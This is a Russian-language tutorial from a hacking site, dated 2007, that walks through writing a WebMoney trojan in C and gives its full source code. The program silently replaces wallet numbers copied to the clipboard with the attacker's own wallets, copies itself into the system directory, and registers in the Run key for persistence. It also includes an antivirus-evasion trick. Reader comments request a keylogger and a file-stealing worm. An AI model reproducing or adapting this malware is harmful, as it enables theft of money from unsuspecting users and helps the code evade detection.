Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиКодингПишем трояна для WebMoney
© Xpom 26.04.2007

Скачать исходник

В последние время особую популярность обрели трояны для Webmoney. Большинство из них совсем простые, а некоторые посложнее... Сегодня мы напишем простенького трояна, который подменяет кошелек в Clipboarde (буффер обмена). Писать будем на C. Размер полученого файла будет составлять 2кб.

Теория

Для начала надо определится какие функции нам нужны.
Для работы с буффером обмена существуют API функции:
OpenClipboard
GetClipboardData
SetClipboardData
EmptyClipboard
CloseClipboard

Расмотрим их поподробние:

BOOL OpenClipboard(HWND hWndNewOwner); - Служит для открытия буффера обмена
hWndNewOwner - Идентификатор окна, которому будет пренадлежать открытый буффер обмена. Если открытие пройдет удачно, то функция возратит не нулевое значение.

HANDLE GetClipboardData(UINT uFormat); - Служит для получения данных из буффера обмена
uFormat - формат получаемых данных.
Форматов очень много, поэтому не будем описывать их все. Нам потребуется только один формат - CF_TEXT - который означает что будем получать текст. (Об остальных форматах можно почитать тут)

HANDLE SetClipboardData(UINT uFormat, HANDLE hMem); - Служит для занесения данных в буффер обмена.
uFormat - формат данных(см. Выше)
hMem - указатель на область памяти, которая содержит данные для занесения в буффер обмена.

EmptyClipboard() - служит для очистки буффера обмена.

CloseClipboard() - служит для закрытия буффера обмена.

Это те фукнции которые нам понадабятся. Чтобы прочитать данны из буффера обмена - необходимо выполнить следующие действия:
- Открыть буффер обмена функцией OpenClipboard
- Определить формат данных хранящихся там
- Получить хэндл данных нужного формата при помощи функции GetClipboardData
- Прочитать данных из хэндела
- Закрыть буффер обмена.
Чтобы записать данные в буффер обмена нужно:
1. Открыть буфер обмена функцией OpenClipboard
2. Очистить буфер обмена функцией EmptyClipboard
3. Вызвать функцию SetClipboardData для каждого формата буфера обмена, которые поддерживает приложение.
4. Закрытьбуфер обмена функцией CloseClipboard
Итак.. Думаю хватит с теорией, перейдем к практике.

Практика

Я буду приводить исходый код файлов, с подробными комментариями.

config.h

#include "windows.h"

#pragma comment(lib, "user32.lib") //Подключаем необходимые библиотеки
#pragma comment(lib, "advapi32.lib")
//Эти опции оптимизируют создаваемый ЕХЕ.
#pragma optimize("gsy", on)
#pragma comment(linker, "/RELEASE")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/SECTION:.text,EWRX")
#pragma comment(linker, "/IGNORE:4078")
#pragma comment(linker, "/FILEALIGN:0x200")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")

//Функция для записи в автозагрузку.
static void AddToRun(LPSTR exits, LPSTR newfile);

/////////////
//Настройки//
/////////////
//Путь к ключу реестра
#define REGKEY "Software\Microsoft\Windows\CurrentVersion\Run"
#define MYNAME "wm_troj.exe" //Новое имя файла
//Название создаваемого ключа в реестре
#define REGNAME "webmoney_clip"
//Задержка в миллисекундах перед следующей проверкой буфера
#define SLEEP 10000
//Кошельки
char kR[] = "R123456789012";
char kZ[] = "Z123456789012";
char kE[] = "E123456789012";
char kU[] = "U123456789012";

wm-clip.c

#include "config.h" //Подключаем наш конфиг

void main()
{
HANDLE h = CreateFileA("c:\ntldr", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, NULL);
//Это для обхода nod32, я не знаю почему это работает, но нод32 не палит вирус.
//(подглядел на васм.ру)
if (h != INVALID_HANDLE_VALUE)
{
LPSTR lpStr; //Переменная для получения текста из буффера
LPSTR lpCpy; //Переменная для вставки текст в буффер
static HGLOBAL hgGetText; //Переменные для функций GetClipboardData и SetClipboardData
static HGLOBAL hgSetText;
char sysbuf[256]; //Буффер для хранения системного пути
char mypath[256]; //Буффер для хранения нового пути
char fname[256]; //путь к нашему файлу
//Получаем путь к запущенной програме
GetModuleFileName(GetModuleHandle(NULL), fname, 256);
//Получаем путь к системной директории
GetSystemDirectory(sysbuf, 256);
//Соединяем полученные данные, и получаем путь для копирования в системную папку
lstrcpy(mypath, sysbuf);
lstrcat(mypath, "\");
lstrcat(mypath, MYNAME);
//Функция записи в автозагрузку, если не нужна - закомментируйте
AddToRun(fname, mypath);
while(1) //Бесконечный цикл
{
OpenClipboard(NULL); //Открываем clipboard
//Получаем хэндл для данных в clipboard'e
hgGetText = GetClipboardData(CF_TEXT);
//Если ошибка - то ничего не делаем и пропускаем виток цикла
if(hgGetText != NULL)
{
//Блокируем хэндл(область памяти) содержащий данные clipboarda.
//Переменная lpStr указывает на текст из буффера обмена
lpStr = (LPSTR)GlobalLock(hgGetText);
//Если ошибка - то ничего не делаем и пропускаем виток цикла
if(lpStr != NULL)
{
//Если размер данных меньше 13 (кол-во символов в кошельке Webmoney) то ничего не делаем
if(lstrlen(lpStr) == 13)
{
hgSetText = GlobalAlloc(GHND, 14);//Выделяем память под наш кошелек
//lpCpy - указываем на выделенную и заблокированую область памяти
lpCpy = (LPSTR)GlobalLock(hgSetText);
//Проверяем чему равен первый символ в текст полученом из буффера обмена
switch(lpStr[0])
{
case 'R':
lstrcpy(lpCpy, kR);//Копируем соответсвенный кошелек
break;
case 'Z':
lstrcpy(lpCpy, kZ);
break;
case 'E':
lstrcpy(lpCpy, kE);
break;
case 'U':
lstrcpy(lpCpy, kU);
break;
}
GlobalUnlock(hgSetText); //Разблокируем нашу область памяти
EmptyClipboard(); //Очищаем clipboard
SetClipboardData(CF_TEXT, lpCpy);//Записываем туда наши данные
}
}
}
CloseClipboard(); //Закрываем clipboard
Sleep(SLEEP); //Спим
}
}
return;
}

//exist - текущий файл, newfile - файл, куда мы будем скопированы
static void AddToRun(LPSTR exist, LPSTR newfile)
{
HKEY hkey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_WRITE, &hkey) == ERROR_SUCCESS)
//Открываем ключ реестра
{
CopyFile(exist, newfile, FALSE);//Копируем нас в системную директорию
if (RegSetValueEx(hkey, REGNAME, 0, REG_SZ, newfile, lstrlen(newfile)) ==
     ERROR_SUCCESS);//Прописываемся в реестре
{
RegCloseKey(hkey);//Закрываем ключ
}
}
}

Вот и весь код, правда он далек от соверщенства - палится в процессах, не проверяет - действительно ли в буффере кошелек, и многое другое. Но так как наша статья носит образовательный характер, то я не буду все это описывать...
Удачи!




© Xpom 26.04.2007

e-Commerce Partners Network
Hack написал:

Пару деньков и прога будет то что надо))))
Да и кстати мальнькие ошибочки есть но это так ерунда

Александр написал:

Троян-червь который ворует все файлы webmoney, и кейлогер для перехвата паролей и логинов webmoney. Лучше всего на русском языке. и бесплатно

биос написал:

шляпа)))

Максим написал:


в чем написна програма????

Cobalt написал:

На Си

RedOdept написал:

пример еще одной мегозиродей программы, написанно истинным хукером..

ecobay написал:

Хорший блог. Мне нравится. И коменты в тему :).

ROD написал:

А в какой среде компилировать то?

Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
18.11.2017 18:42:56 ViktorTap написал:
Zof edifam Weque ...
Пишем guestbook
18.11.2017 14:18:50 EvseyEdich написал:
groomma st plazoni ...
Пишем guestbook
18.11.2017 12:08:52 IrineyVep написал:
Seew pere Inoguic ...
Пишем guestbook
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100